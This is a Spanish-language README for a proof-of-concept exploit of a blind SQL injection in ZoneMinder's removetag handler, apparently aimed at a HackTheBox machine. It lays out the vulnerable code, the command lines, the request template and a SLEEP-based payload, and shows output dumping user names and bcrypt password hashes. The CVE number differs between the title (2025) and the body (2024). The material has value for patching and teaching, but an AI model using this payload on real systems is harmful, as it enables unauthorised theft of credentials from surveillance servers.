
CVE-2025-51482 PoC, Volcar credenciales de zm.Users
Un exploit de prueba de concepto para CVE-2024-51482, una vulnerabilidad de inyección SQL ciega basada en tiempo autenticada en ZoneMinder v1.37. ≤ 1.37.64*.
El script extrae nombres de usuario y hashes de contraseñas de la tabla zm.Users mediante búsqueda binaria (bisección) sobre un oráculo basado en SLEEP().
El controlador removetag en web/ajax/event.php parametriza de forma segura una consulta DELETE pero luego interpola directamente la entrada controlada por el usuario en un SELECT subsiguiente:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId proviene directamente de $_REQUEST['tid'] sin saneamiento, lo que permite la inyección a través del parámetro tid.
requests (pip install requests)ZMSESSID válida de una cuenta de ZoneMinder con sesión iniciadapython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Argumentos:
--url — URL base de ZoneMinder (ej. http://cctv.htb/zm) (obligatorio)--zmsessid — valor de la cookie ZMSESSID (obligatorio)--sleep — segundos de espera para inferencia basada en tiempo (por defecto: 3)--timeout — tiempo de espera de la solicitud en segundos (por defecto: sleep + 3)Ejemplos:
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Inicia sesión en ZoneMinder, abre las DevTools del navegador (F12) -> Aplicación -> Cookies, y copia el valor de ZMSESSID. Alternativamente, intercepta cualquier solicitud autenticada en Burp Suite y extráela del encabezado Cookie.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1 para medir el tiempo de respuesta normal.SLEEP(2) y verifica que la respuesta se retrase ≥2 segundos.COUNT(*) en zm.Users para encontrar cuántas cuentas existen.Username como en Password (~7 solicitudes por carácter frente a 95 para escaneo lineal).Estructura del payload:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 es necesario porque el DELETE seguro antes del SELECT vulnerable lanzaría un error 500 sin él, abortando la ejecución antes de que se alcance la inyección.
Esta herramienta es solo para pruebas de seguridad autorizadas e investigación educativa.
Siempre obtén permiso explícito por escrito antes de probar cualquier sistema que no poseas.
El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por este software.